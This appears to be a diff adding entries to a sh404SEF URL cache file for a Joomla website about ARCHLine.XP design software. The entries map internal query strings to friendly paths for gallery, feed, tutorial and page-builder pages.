+$this->_urlCache['627b8f6622e2ad992299ba8f16f20579']='index.php?option=com_content&Itemid=175&catid=20&id=912&lang=en&view=article#archline-xp/gallery/picture-of-the-month/november-2021#0'; +$this->_urlCache['4dbd1cfc7e49a883417a6b954834fb8b']='index.php?option=com_content&Itemid=175&catid=20&id=911&lang=en&view=article#archline-xp/gallery/picture-of-the-month/october-2021#0'; +$this->_urlCache['512b9aa8ba1edaad5daeb1b5a3047436']='index.php?option=com_content&Itemid=175&id=20&lang=en&layout=blog&limit=31&limitstart=31&view=category#archline-xp/gallery/picture-of-the-month/Page-2-31#0'; +$this->_urlCache['c26fbfb65f264117274b5d4907071dfb']='index.php?option=com_content&Itemid=175&id=20&lang=en&layout=blog&limit=31&limitstart=93&view=category#archline-xp/gallery/picture-of-the-month/Page-4-31#0'; +$this->_urlCache['e0b1572dc897e0c606fe56d5b9b74a24']='index.php?option=com_content&Itemid=175&id=20&lang=en&layout=blog&limit=31&limitstart=62&view=category#archline-xp/gallery/picture-of-the-month/Page-3-31#0'; +$shURLCacheCreationDate=1777895984; +$this->_urlCache['f1298b52c17ebe650c2bbaccbf55938a']='index.php?option=com_sppagebuilder&Itemid=725&id=274&lang=en&layout=edit&tmpl=component&view=form#edit/274#0'; +$shURLCacheCreationDate=1777895985; +$this->_urlCache['90ecf058e28f8b9921ca80195e2a1d08']='index.php?option=com_content&Itemid=124&catid=37&id=360&lang=en&view=article#projects/architecture/eurokon#0'; +$this->_urlCache['4f95fbcc901cb8403aec56d2c1ab8a0e']='index.php?option=com_content&Itemid=124&catid=37&id=379&lang=en&view=article#projects/architecture/moncucco-sondrio#0'; +$this->_urlCache['27e6a337408d7a1e6e393aa2b3a98dfd']='index.php?option=com_content&Itemid=124&catid=37&id=359&lang=en&view=article#projects/architecture/condominium-houses#0'; +$shURLCacheCreationDate=1777896103; +$this->_urlCache['2fde8a189fe77a3e518f02eb98d44361']='index.php?option=com_sppagebuilder&Itemid=671&id=242&lang=en&layout=edit&tmpl=component&view=form#edit/242#0'; +$shURLCacheCreationDate=1777897230; +$this->_urlCache['0dd6580ccaf740020af28be137476be1']='index.php?option=com_sppagebuilder&Itemid=773&id=325&lang=en&layout=edit&tmpl=component&view=form#edit/325#0'; +$shURLCacheCreationDate=1777897246; +$this->_urlCache['865759a542e6d3f5300b30ea31a263fa']='index.php?option=com_sppagebuilder&Itemid=187&id=93&lang=en&layout=edit&tmpl=component&view=form#93-download/edit#0'; +$shURLCacheCreationDate=1777897345; +$this->_urlCache['faf522ca7c56391062784480093c3176']='index.php?option=com_sppagebuilder&Itemid=755&id=298&lang=en&layout=edit&tmpl=component&view=form#edit/298#0'; +$shURLCacheCreationDate=1777897387; +$this->_urlCache['ae8db97fca428e8ada6734b148f19aa5']='index.php?option=com_content&Itemid=175&catid=20&id=589&lang=en&view=article#archline-xp/gallery/picture-of-the-month/april-2015#0'; +$shURLCacheCreationDate=1777897460; +$this->_urlCache['e17308ef1b2ea236e80c95ae8d443d8c']='index.php?option=com_sppagebuilder&Itemid=385&id=105&lang=en&layout=edit&tmpl=component&view=form#105-non-profit-license-information/edit#0'; +$shURLCacheCreationDate=1777897646; +$this->_urlCache['69d2946d988804f080576ce9c6b90235']='index.php?option=com_sppagebuilder&Itemid=595&id=93&lang=en&layout=edit&tmpl=component&view=form#93-download/edit#0'; +$shURLCacheCreationDate=1777897771; +$this->_urlCache['5fc284b01aed4c450d67f111b79480da']='index.php?option=com_sppagebuilder&Itemid=417&id=115&lang=en&layout=edit&tmpl=component&view=form#115-architectural-tools/edit#0'; +$shURLCacheCreationDate=1777897853; +$this->_urlCache['78a594c3f501f9057a1eb6f9a1e01e1d']='index.php?option=com_content&Itemid=124&catid=58&id=585&lang=en&view=article#legal/privacy-policy#0'; +$shURLCacheCreationDate=1777897894; +$this->_urlCache['2de3c084712f44284917720d87137599']='index.php?option=com_content&Itemid=367&catid=25&id=724&lang=en&view=article#blog/professional-articles/classics-in-archline-xp-fisherman-s-bastion-budapest#0'; +$shURLCacheCreationDate=1777897894; +$this->_urlCache['6f2040451890c436bd49828013724543']='index.php?option=com_sppagebuilder&Itemid=671&id=242&lang=en&view=page#education/virtual-expo/virtual-expo-archives#1'; +$shURLCacheCreationDate=1777897905; +$this->_urlCache['f8e72dd4860c22d19aec6e2cf84297d6']='index.php?option=com_sppagebuilder&Itemid=788&id=340&lang=en&layout=edit&tmpl=component&view=form#edit/340#0'; +$shURLCacheCreationDate=1777897905; +$this->_urlCache['7288cbb8ba0ea2ebc7094cfcc61c120e']='index.php?option=com_content&Itemid=124&catid=39&id=363&lang=en&view=article#projects/kitchen/modern-kitchen-with-appliances#0'; +$this->_urlCache['95f816f0a0135820cfe786efcea7d282']='index.php?option=com_content&Itemid=124&catid=39&id=364&lang=en&view=article#projects/kitchen/wilson-kitchen#0'; +$shURLCacheCreationDate=1777899287; +$this->_urlCache['8825dc23a84db7c498585325104ee986']='index.php?option=com_content&Itemid=124&format=feed&id=39&lang=en&type=rss&view=category#projects/kitchen/feed/rss#0'; +$this->_urlCache['840043fa92f8ab69e7dc3fd8ae210fd2']='index.php?option=com_content&Itemid=124&format=feed&id=39&lang=en&type=atom&view=category#projects/kitchen/feed/atom#0'; +$this->_urlCache['2b41f412409926686458d3f877296f44']='index.php?option=com_content&Itemid=124&catid=39&id=392&lang=en&view=article#projects/kitchen/curved-kitchen#0'; +$this->_urlCache['d5a7b1e789a4bd81b2686902173f4b1b']='index.php?option=com_content&Itemid=124&catid=39&id=373&lang=en&view=article#projects/kitchen/laminate-nut-bar-cabinet#0'; +$this->_urlCache['887923bca6953ffb500c2c6588f9ddb7']='index.php?option=com_content&Itemid=124&catid=39&id=372&lang=en&view=article#projects/kitchen/classic-english-kitchen-island#0'; +$this->_urlCache['c039a6296e3c4def5d6096954b86b831']='index.php?option=com_content&Itemid=124&catid=39&id=369&lang=en&view=article#projects/kitchen/kitchen-in-classic-style#0'; +$shURLCacheCreationDate=1777899356; +$this->_urlCache['f30bc3fc7b0307c1118e36b1ac463345']='index.php?option=com_content&Itemid=367&catid=25&id=579&lang=en&view=article#blog/professional-articles/kitchen-design-at-a-professional-level#0'; +$shURLCacheCreationDate=1777899475; +$this->_urlCache['823ad6b48bf314d1ee9e8aa4e356a744']='index.php?option=com_content&Itemid=366&catid=24&id=1041&lang=en&view=article#blog/case-studies/exclusive-home-for-mother-and-daughter#0'; +$shURLCacheCreationDate=1777899669; +$this->_urlCache['61f096112f1ca70a740429b333e1e2ee']='index.php?option=com_sppagebuilder&Itemid=756&id=299&lang=en&layout=edit&tmpl=component&view=form#edit/299#0'; +$shURLCacheCreationDate=1777900030; +$this->_urlCache['9114283aaa2eeef8be4a97186c8afcdd']='index.php?option=com_content&Itemid=124&format=feed&id=76&lang=en&type=rss&view=category#tutorial-videos/create-architectural-floor-plan/stair-custom-stairs-from-sketch-ramp/feed/rss#0'; +$this->_urlCache['82373ddc5be1745c6dbf6faf238793d9']='index.php?option=com_content&Itemid=124&format=feed&id=76&lang=en&type=atom&view=category#tutorial-videos/create-architectural-floor-plan/stair-custom-stairs-from-sketch-ramp/feed/atom#0'; +$shURLCacheCreationDate=1777901129; +$this->_urlCache['886d54184cdb2acde98ba6a86c5170f9']='index.php?option=com_content&Itemid=124&format=feed&id=80&lang=en&type=rss&view=category#tutorial-videos/edit-and-modify/feed/rss#0'; +$this->_urlCache['c37d0a9788a8e37be7a965fed0eaa21c']='index.php?option=com_content&Itemid=124&format=feed&id=80&lang=en&type=atom&view=category#tutorial-videos/edit-and-modify/feed/atom#0'; +$shURLCacheCreationDate=1777901136; +$this->_urlCache['5169e4729478eb8f8ed3fc6426ddb088']='index.php?option=com_content&Itemid=367&catid=25&id=701&lang=en&view=article#blog/professional-articles/white-paper-archline-xp-independent-review#0'; +$shURLCacheCreationDate=1777901472; +$this->_urlCache['323592fa817d5adfc93112e8a3925d98']='index.php?option=com_content&Itemid=124&catid=54&id=731&lang=en&view=article#education/webinars/everything-about-dimensions-and-annotations#0'; +$shURLCacheCreationDate=1777901897; +$this->_urlCache['3683830f0a65d1b4397d80f1fc578490']='index.php?option=com_sppagebuilder&Itemid=590&id=281&lang=en&layout=edit&tmpl=component&view=form#edit/281#0'; +$shURLCacheCreationDate=1777902487; +$this->_urlCache['ff051d184e8f321985ead7816bf49691']='index.php?option=com_sppagebuilder&Itemid=770&id=319&lang=en&layout=edit&tmpl=component&view=form#edit/319#0'; +$shURLCacheCreationDate=1777902502; +$this->_urlCache['ff051d184e8f321985ead7816bf49691']='index.php?option=com_sppagebuilder&Itemid=770&id=319&lang=en&layout=edit&tmpl=component&view=form#edit/319#0'; +$shURLCacheCreationDate=1777902503; +$this->_urlCache['26a7fe37721fccab51e571f6fada727b']='index.php?option=com_content&Itemid=124&catid=18&id=853&lang=en&view=article#education/tips-documentation/helping-tips/creating-custom-columns-and-beams#0'; +$shURLCacheCreationDate=1777902574; +$this->_urlCache['35579b32f98333f7a06954ce92519ba4']='index.php?option=com_content&Itemid=367&catid=25&id=744&lang=en&view=article#blog/professional-articles/remodeled-in-archline-xp-brandenburg-gate-berlin#0'; +$shURLCacheCreationDate=1777902576; +$this->_urlCache['ddab412762508c7669a29b9321153394']='index.php?option=com_sppagebuilder&Itemid=381&id=104&lang=en&layout=edit&tmpl=component&view=form#104-gallery/edit#0'; +$shURLCacheCreationDate=1777902704; +$this->_urlCache['2ebd93e8c824c391623a084350223961']='index.php?option=com_users&Itemid=124&lang=en&view=remind#lost-user-name/#0'; +$shURLCacheCreationDate=1777902785; +$this->_urlCache['94e95fe4d0f172d2f4f64ecbe7e5f5f4']='index.php?option=com_sppagebuilder&Itemid=421&id=122&lang=en&layout=edit&tmpl=component&view=form#122-webinars/edit#0'; +$shURLCacheCreationDate=1777903264; +$this->_urlCache['d161b33852441cd2f320c1aac8d6ee9d']='index.php?option=com_sppagebuilder&Itemid=754&id=297&lang=en&layout=edit&tmpl=component&view=form#edit/297#0'; +$shURLCacheCreationDate=1777903294; +$this->_urlCache['4af3971049f1291219bad64e39962c8c']='index.php?option=com_content&Itemid=124&format=feed&id=2&lang=en&type=rss&view=category#uncategorised/feed/rss#0'; +$this->_urlCache['813a37ceaa8b851b9105ec71e4b84e3d']='index.php?option=com_content&Itemid=124&format=feed&id=2&lang=en&type=atom&view=category#uncategorised/feed/atom#0'; +$this->_urlCache['9f203b8ad1c2bffa906011652a0c4eda']='index.php?option=com_content&Itemid=124&catid=2&id=1026&lang=en&view=article#tutorial-videos-2023#0'; +$this->_urlCache['ad3f87c71b026377c9e7f46ce130afc0']='index.php?option=com_content&Itemid=124&catid=2&id=1027&lang=en&view=article#tutorial-videos-2022#0'; +$this->_urlCache['dca0fca193076bbee6002068d487b379']='index.php?option=com_content&Itemid=124&catid=2&id=1051&lang=en&view=article#tutorial-videos-2025#0'; +$this->_urlCache['71d238cb85b8506ebb36061845579d53']='index.php?option=com_content&Itemid=124&catid=2&id=1022&lang=en&view=article#tutorial-videos-2024#0'; +$this->_urlCache['9bc83bdc69bb20f9b68888f31a285bca']='index.php?option=com_content&Itemid=124&catid=2&id=995&lang=en&view=article#software-license-agreement-2024#0'; +$this->_urlCache['f4871fbf0111d9eea2b7ab48ef486f29']='index.php?option=com_content&Itemid=124&catid=2&id=951&lang=en&view=article#intermediate-course-interior-design#0'; +$this->_urlCache['1ceb7b11e7c717b8b3a793d2c621cd5f']='index.php?option=com_content&Itemid=124&catid=2&id=952&lang=en&view=article#advanced-course-overview#0'; +$this->_urlCache['2ca5903022dd4cf388e972b410ef8727']='index.php?option=com_content&Itemid=124&catid=2&id=955&lang=en&view=article#architecture-course-overview#0'; +$this->_urlCache['29e5bbd3fbae2749e959967c8e66699e']='index.php?option=com_content&Itemid=124&catid=2&id=903&lang=en&view=article#terms-and-conditions#0'; +$this->_urlCache['9ba97a92b58b1447fe4a2a99eb9a29c1']='index.php?option=com_content&Itemid=124&catid=2&id=902&lang=en&view=article#resource-manager-help-admin#0'; +$this->_urlCache['b7fd02aa8ac87a3aea3b63896f6a87d5']='index.php?option=com_content&Itemid=124&catid=2&id=898&lang=en&view=article#resource-manager-help#0'; +$shURLCacheCreationDate=1777903751; +$this->_urlCache['ec616e43001183c95aa0234130efaaf0']='index.php?option=com_sppagebuilder&Itemid=736&id=279&lang=en&layout=edit&tmpl=component&view=form#edit/279#0'; +$shURLCacheCreationDate=1777903806; +$this->_urlCache['7fdc85a5839c56a5718eab68ca814e8a']='index.php?option=com_sppagebuilder&Itemid=317&id=65&lang=en&layout=edit&tmpl=component&view=form#65-documentation/edit#0'; +$shURLCacheCreationDate=1777904498; +$this->_urlCache['c49c789eb14857b45651b4e468a21469']='index.php?option=com_content&Itemid=366&catid=24&id=989&lang=en&view=article#blog/case-studies/pop-art-paradise#0'; +$shURLCacheCreationDate=1777904915; +$this->_urlCache['013f9863f490f0c42744c2aeca7f169f']='index.php?option=com_content&Itemid=366&catid=24&id=1000&lang=en&view=article#blog/case-studies/meet-the-designer-krisztina-varnagyi#0'; +$shURLCacheCreationDate=1777906401; +$this->_urlCache['3194ed07a8168bfdc1d00117572e6955']='index.php?option=com_sppagebuilder&Itemid=704&id=265&lang=en&layout=edit&tmpl=component&view=form#edit/265#0'; +$shURLCacheCreationDate=1777906816; +$this->_urlCache['ea11ec2de6a41bf09a2afe285a6ddb36']='index.php?option=com_sppagebuilder&Itemid=217&id=63&lang=en&layout=edit&tmpl=component&view=form#63-tips-documentation/edit#0'; +$shURLCacheCreationDate=1777907124; +$this->_urlCache['1dc96c1c28b24a07c453e529df68cddc']='index.php?option=com_sppagebuilder&Itemid=447&id=139&lang=en&layout=edit&tmpl=component&view=form#139-educational-licensing/edit#0'; +$shURLCacheCreationDate=1777907502; +$this->_urlCache['5afbb438cef2a45cdc5b70639b1e0903']='index.php?option=com_sppagebuilder&Itemid=534&id=175&lang=en&layout=edit&tmpl=component&view=form#175-curtain-wall-architecture-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777907678; +$this->_urlCache['c2a7ac60ce8ec980a730018c99486157']='index.php?option=com_sppagebuilder&Itemid=209&id=90&lang=en&layout=edit&tmpl=component&view=form#90-registration-and-activation/edit#0'; +$shURLCacheCreationDate=1777907846; +$this->_urlCache['418c247b735bafa7cbf1b543f625bb57']='index.php?option=com_sppagebuilder&Itemid=208&id=91&lang=en&view=page#education/system-requirements#0'; +$shURLCacheCreationDate=1777907873; +$this->_urlCache['a0c85f36f83c2bc5bf6b0c1a7d63f58f']='index.php?option=com_content&Itemid=367&catid=25&id=623&lang=en&view=article#blog/professional-articles/using-the-ifc-import#0'; +$shURLCacheCreationDate=1777909351; +$this->_urlCache['4a0a3ac30bbeb66188848b107cebace4']='index.php?option=com_content&Itemid=366&catid=24&id=999&lang=en&view=article#blog/case-studies/we-design-it-elegance-on-46-square-metres#0'; +$shURLCacheCreationDate=1777909495; +$this->_urlCache['4a25a949c18cfac6f917861fb7fdf34f']='index.php?option=com_content&Itemid=175&catid=20&id=699&lang=en&view=article#archline-xp/gallery/picture-of-the-month/april-2018#0'; +$shURLCacheCreationDate=1777909528; +$this->_urlCache['5a5156f061ca1ebb7f8c79e3bff57425']='index.php?option=com_content&Itemid=124&id=51&lang=en&view=category#download/download-center/program-versions/updates/#1'; +$shURLCacheCreationDate=1777909816; +$this->_urlCache['31e77833c73aa304e150b5717057f60c']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&type=rss&view=category#archline-xp/gallery/picture-of-the-month/feed/rss#0'; +$this->_urlCache['4922bacfd88d135b3ba93d2a3dc687cf']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&type=atom&view=category#archline-xp/gallery/picture-of-the-month/feed/atom#0'; +$this->_urlCache['0a17d135944ecf2859dec26d9bf4f302']='index.php?option=com_content&Itemid=175&catid=20&id=730&lang=en&view=article#archline-xp/gallery/picture-of-the-month/september-2018#0'; +$this->_urlCache['087eefdbccd2a019057989e41c6a6f9c']='index.php?option=com_content&Itemid=175&catid=20&id=726&lang=en&view=article#archline-xp/gallery/picture-of-the-month/august-2018#0'; +$this->_urlCache['726c5c4ca382e8e8ee46cc709032007d']='index.php?option=com_content&Itemid=175&catid=20&id=723&lang=en&view=article#archline-xp/gallery/picture-of-the-month/july-2018#0'; +$this->_urlCache['c8dc5b459e72c5c81e2ae2e1cbfb3541']='index.php?option=com_content&Itemid=175&catid=20&id=706&lang=en&view=article#archline-xp/gallery/picture-of-the-month/june-2018#0'; +$this->_urlCache['f2fa7039bd3d80c30aae046bd225a695']='index.php?option=com_content&Itemid=175&catid=20&id=700&lang=en&view=article#archline-xp/gallery/picture-of-the-month/may-2018#0'; +$this->_urlCache['8ed4fca21be943af598432fbd6be38db']='index.php?option=com_content&Itemid=175&catid=20&id=689&lang=en&view=article#archline-xp/gallery/picture-of-the-month/march-2018#0'; +$this->_urlCache['78769f43e8483085ea7773bbbf9e2249']='index.php?option=com_content&Itemid=175&catid=20&id=684&lang=en&view=article#archline-xp/gallery/picture-of-the-month/february-2018#0'; +$this->_urlCache['eb8f24277bb3c712f3147f95c5d305b7']='index.php?option=com_content&Itemid=175&catid=20&id=674&lang=en&view=article#archline-xp/gallery/picture-of-the-month/january-2018#0'; +$this->_urlCache['e987729d67e77a686d474ee35dd86d1f']='index.php?option=com_content&Itemid=175&catid=20&id=668&lang=en&view=article#archline-xp/gallery/picture-of-the-month/december-2017#0'; +$this->_urlCache['3e8631e50dd7ca1284e3f57c02740475']='index.php?option=com_content&Itemid=175&catid=20&id=655&lang=en&view=article#archline-xp/gallery/picture-of-the-month/november-2017#0'; +$this->_urlCache['a3b43c9ffe8aa694fa4c4c6dbf9be92d']='index.php?option=com_content&Itemid=175&catid=20&id=608&lang=en&view=article#archline-xp/gallery/picture-of-the-month/october-2017#0'; +$this->_urlCache['df1e2caeb4307d24e1cade78d951f37a']='index.php?option=com_content&Itemid=175&catid=20&id=638&lang=en&view=article#archline-xp/gallery/picture-of-the-month/september-2017#0'; +$this->_urlCache['d772861a05b6f56622d5561f681b6a51']='index.php?option=com_content&Itemid=175&catid=20&id=635&lang=en&view=article#archline-xp/gallery/picture-of-the-month/august-2017#0'; +$this->_urlCache['cb1bc444d2a490b4e618315c92edd285']='index.php?option=com_content&Itemid=175&catid=20&id=634&lang=en&view=article#archline-xp/gallery/picture-of-the-month/july-2017#0'; +$this->_urlCache['849cfc218fb0d20f101ed4a5acab4f3e']='index.php?option=com_content&Itemid=175&catid=20&id=633&lang=en&view=article#archline-xp/gallery/picture-of-the-month/june-2017#0'; +$this->_urlCache['d76ea923061ff189ad842fcde8808bca']='index.php?option=com_content&Itemid=175&catid=20&id=616&lang=en&view=article#archline-xp/gallery/picture-of-the-month/may-2017#0'; +$this->_urlCache['c4c95f123ed97e950ecc5c1a99b69464']='index.php?option=com_content&Itemid=175&catid=20&id=613&lang=en&view=article#archline-xp/gallery/picture-of-the-month/march-2017#0'; +$this->_urlCache['1ca5a2bef174785530aae618071ecebc']='index.php?option=com_content&Itemid=175&catid=20&id=614&lang=en&view=article#archline-xp/gallery/picture-of-the-month/april-2017#0'; +$this->_urlCache['cd6e8363dc0dec45010127fdfb0c11f6']='index.php?option=com_content&Itemid=175&catid=20&id=612&lang=en&view=article#archline-xp/gallery/picture-of-the-month/february-2017#0'; +$this->_urlCache['99508081dac874016fc5a860710854c6']='index.php?option=com_content&Itemid=175&catid=20&id=611&lang=en&view=article#archline-xp/gallery/picture-of-the-month/january-2017#0'; +$this->_urlCache['5102da00c4f28b7a29618676e2a86e09']='index.php?option=com_content&Itemid=175&catid=20&id=610&lang=en&view=article#archline-xp/gallery/picture-of-the-month/december-2016#0'; +$this->_urlCache['0265ca76a081ba44ec91d76f90c61c9a']='index.php?option=com_content&Itemid=175&catid=20&id=609&lang=en&view=article#archline-xp/gallery/picture-of-the-month/november-2016#0'; +$this->_urlCache['79f07616d00197eaed4eaced7b5ff18c']='index.php?option=com_content&Itemid=175&catid=20&id=607&lang=en&view=article#archline-xp/gallery/picture-of-the-month/october-2016#0'; +$this->_urlCache['a6ffab9de6318287e299a76df2d73749']='index.php?option=com_content&Itemid=175&catid=20&id=606&lang=en&view=article#archline-xp/gallery/picture-of-the-month/september-2016#0'; +$this->_urlCache['806cc669b4c2128b6c71b101164bff21']='index.php?option=com_content&Itemid=175&catid=20&id=605&lang=en&view=article#archline-xp/gallery/picture-of-the-month/august-2016#0'; +$this->_urlCache['5e341e6df046f725007909a7ddbd5055']='index.php?option=com_content&Itemid=175&catid=20&id=604&lang=en&view=article#archline-xp/gallery/picture-of-the-month/july-2016#0'; +$this->_urlCache['6c168d99fadf02b8ee890738327ddea8']='index.php?option=com_content&Itemid=175&catid=20&id=603&lang=en&view=article#archline-xp/gallery/picture-of-the-month/june-2016#0'; +$this->_urlCache['4420093584d448173cd8a16ad1c3e9da']='index.php?option=com_content&Itemid=175&catid=20&id=602&lang=en&view=article#archline-xp/gallery/picture-of-the-month/may-2016#0'; +$this->_urlCache['8dbb5b5198cd136150932ac1c1e2ea32']='index.php?option=com_content&Itemid=175&catid=20&id=601&lang=en&view=article#archline-xp/gallery/picture-of-the-month/april-2016#0'; +$this->_urlCache['54ae60c67b237ab3ac7a1b78f75dce09']='index.php?option=com_content&Itemid=175&catid=20&id=600&lang=en&view=article#archline-xp/gallery/picture-of-the-month/march-2016#0'; +$this->_urlCache['8b0040b899f76b3145260a0aab0a80a6']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&limitstart=0&type=atom&view=category#archline-xp/gallery/picture-of-the-month/feed/atom#0'; +$this->_urlCache['817c22fb650da5a50fd13441a99a2423']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&limitstart=31&type=atom&view=category#archline-xp/gallery/picture-of-the-month/feed/atom/Page-2-31#0'; +$this->_urlCache['b84949476b9b8d21a076430ca8462913']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&limitstart=93&type=atom&view=category#archline-xp/gallery/picture-of-the-month/feed/atom/Page-4-31#0'; +$shURLCacheCreationDate=1777909837; +$this->_urlCache['3ba8b212c23cb18635d39424acadc389']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&limitstart=0&type=rss&view=category#archline-xp/gallery/picture-of-the-month/feed/rss#0'; +$this->_urlCache['45248f91f88f71dc8f6bf358f62d03c1']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&limitstart=31&type=rss&view=category#archline-xp/gallery/picture-of-the-month/feed/rss/Page-2-31#0'; +$this->_urlCache['fffde7a5a8727b839cc3956841132dbb']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=en&layout=blog&limit=31&limitstart=93&type=rss&view=category#archline-xp/gallery/picture-of-the-month/feed/rss/Page-4-31#0'; +$shURLCacheCreationDate=1777909843; +$this->_urlCache['13e8f954da596d333985c031ed7806eb']='index.php?option=com_content&Itemid=124&format=feed&id=19&lang=en&type=rss&view=category#competition/feed/rss#0'; +$this->_urlCache['9357da940a6029f86317d37eeb2bf0a9']='index.php?option=com_content&Itemid=124&format=feed&id=19&lang=en&type=atom&view=category#competition/feed/atom#0'; +$this->_urlCache['c1efb0d40287bc4c0e04e39215a976fe']='index.php?option=com_content&Itemid=124&id=21&lang=en&view=category#competition/picture-of-the-year/#0'; +$shURLCacheCreationDate=1777909847; +$this->_urlCache['1340db25eff49ee13b166b67fed06b8b']='index.php?option=com_content&Itemid=124&format=feed&id=21&lang=en&type=rss&view=category#competition/picture-of-the-year/feed/rss#0'; +$this->_urlCache['9e941e4811d6ca7630ee1830d53bc30d']='index.php?option=com_content&Itemid=124&format=feed&id=21&lang=en&type=atom&view=category#competition/picture-of-the-year/feed/atom#0'; +$this->_urlCache['4239e63dae77204ac8fb7ed753564df7']='index.php?option=com_content&Itemid=124&catid=21&id=538&lang=en&view=article#competition/picture-of-the-year/picture-of-the-year-2016#0'; +$this->_urlCache['2e7cd5cd8ec4446ab0d7436917ec57d5']='index.php?option=com_tags&id=68-2016&lang=en&view=tag#tag/68-2016#0'; +$this->_urlCache['55aaff081a51c3c267f4cbb784250878']='index.php?option=com_tags&id=74-interior&lang=en&view=tag#tag/74-interior#0'; +$this->_urlCache['a824402750fa28341a50f1b859b8ef61']='index.php?option=com_tags&id=75-render&lang=en&view=tag#tag/75-render#0'; +$this->_urlCache['7c5a4cc6ea196113bb5e833287d3dbbb']='index.php?option=com_tags&id=79-ev-kepe&lang=en&view=tag#tag/79-ev-kepe#0'; +$this->_urlCache['e1def14a1a7c0cef1d64befc7ed6563a']='index.php?option=com_content&Itemid=124&catid=21&id=537&lang=en&view=article#competition/picture-of-the-year/picture-of-the-year-2015#0'; +$this->_urlCache['c95a0c181c99c9252b8743a8d82c7522']='index.php?option=com_content&Itemid=124&catid=21&id=536&lang=en&view=article#competition/picture-of-the-year/picture-of-the-year-2014#0'; +$shURLCacheCreationDate=1777909850; +$this->_urlCache['1658710e4b112d4cbfebaf76b36bb545']='index.php?option=com_content&Itemid=366&catid=24&id=974&lang=en&view=article#blog/case-studies/unique-minimalism-swiss-architecture#0'; +$shURLCacheCreationDate=1777911006; +$this->_urlCache['242716a6164c41ee289375b945f0ab62']='index.php?option=com_content&Itemid=124&catid=18&id=839&lang=en&view=article#education/tips-documentation/helping-tips/resizing-the-wall-opening-of-doors-and-windows-relocating-the-ledge#0'; +$shURLCacheCreationDate=1777911858; +$this->_urlCache['f63239d0a8b54bc266278ed50d41d7e8']='index.php?option=com_sppagebuilder&Itemid=535&id=176&lang=en&layout=edit&tmpl=component&view=form#176-grid-and-plain-ceiling-architecture-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777913111; +$this->_urlCache['8f39bf5cd0b62badfb3f4e7cbc92e1fa']='index.php?option=com_sppagebuilder&Itemid=793&id=348&lang=en&layout=edit&tmpl=component&view=form#edit/348#0'; +$shURLCacheCreationDate=1777913194; +$this->_urlCache['84b300f93d85d5cb8b506920d726f714']='index.php?option=com_sppagebuilder&Itemid=592&id=208&lang=en&layout=edit&tmpl=component&view=form#208-archline-xp-lt-overview/edit#0'; +$shURLCacheCreationDate=1777913566; +$this->_urlCache['9e43759ecccb1faedb2cd4e7fe064f0f']='index.php?option=com_content&Itemid=366&catid=24&id=1010&lang=en&view=article#blog/case-studies/room-of-the-year-2024-special-award#0'; +$shURLCacheCreationDate=1777913588; +$this->_urlCache['b16bf3072b46ae25e9df003629e24614']='index.php?option=com_sppagebuilder&Itemid=781&id=330&lang=en&layout=edit&tmpl=component&view=form#edit/330#0'; +$shURLCacheCreationDate=1777913973; +$this->_urlCache['472e0f3da9aa28feb88fc5c8a75a0804']='index.php?option=com_sppagebuilder&Itemid=512&id=154&lang=en&layout=edit&tmpl=component&view=form#154-organized-modelling-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777914816; +$this->_urlCache['472e0f3da9aa28feb88fc5c8a75a0804']='index.php?option=com_sppagebuilder&Itemid=512&id=154&lang=en&layout=edit&tmpl=component&view=form#154-organized-modelling-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777914817; +$this->_urlCache['6e46a8b1b33fafd35ccf817eb9b03b94']='index.php?option=com_sppagebuilder&Itemid=517&id=160&lang=en&layout=edit&tmpl=component&view=form#160-reception-room-interior-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777914903; +$this->_urlCache['c4f050c031e99e69eac9f2c0a57e5c69']='index.php?option=com_content&Itemid=124&catid=18&id=850&lang=en&view=article#education/tips-documentation/helping-tips/resizing-the-layers-of-the-roof#0'; +$shURLCacheCreationDate=1777914994; +$this->_urlCache['5b8d20afcc89b65145dfc5ad1e86a632']='index.php?option=com_content&Itemid=124&catid=37&id=390&lang=en&view=article#projects/architecture/maffi#0'; +$this->_urlCache['ff2e62cb0aff00b9a2b79f239a30b332']='index.php?option=com_content&Itemid=124&catid=37&id=391&lang=en&view=article#projects/architecture/hiking-base-building#0'; +$this->_urlCache['54450359e4decf7a3af3da033e201172']='index.php?option=com_content&Itemid=124&catid=37&id=389&lang=en&view=article#projects/architecture/fabbricato-lugano#0'; +$shURLCacheCreationDate=1777915262; +$this->_urlCache['01b6b7b679a61a65e5da4112ce52b2a9']='index.php?option=com_sppagebuilder&Itemid=540&id=181&lang=en&layout=edit&tmpl=component&view=form#181-building-site-orientation-and-geo-location-architecture-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777915933; +$this->_urlCache['e4ae0aa63e3e97246ec90c75f746ea3f']='index.php?option=com_content&Itemid=366&catid=24&id=920&lang=en&view=article#blog/case-studies/katalin-segeri-graduation-project-with-archline-xp#0'; +$shURLCacheCreationDate=1777916162; +$this->_urlCache['5039cd824c144575d49f4675c76e3715']='index.php?option=com_sppagebuilder&Itemid=537&id=178&lang=en&layout=edit&tmpl=component&view=form#178-stairs-ramp-architecture-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777916798; +$this->_urlCache['6609a5a5991eb7149242f1046f92e149']='index.php?option=com_sppagebuilder&Itemid=186&id=20&lang=en&view=page#products/archline-xp-professional/interior-design-benefits#1'; +$shURLCacheCreationDate=1777917851; +$this->_urlCache['f8c1232b05d733ee3422aa5f2cb5090b']='index.php?option=com_content&Itemid=585&format=feed&id=105&lang=en&layout=blog&type=rss&view=category#archline-xp/gallery/live-picture-of-month/feed/rss#0'; +$this->_urlCache['54eaca54c85d58666e9ccf7ab61dcc29']='index.php?option=com_content&Itemid=585&format=feed&id=105&lang=en&layout=blog&type=atom&view=category#archline-xp/gallery/live-picture-of-month/feed/atom#0'; +$shURLCacheCreationDate=1777918068; 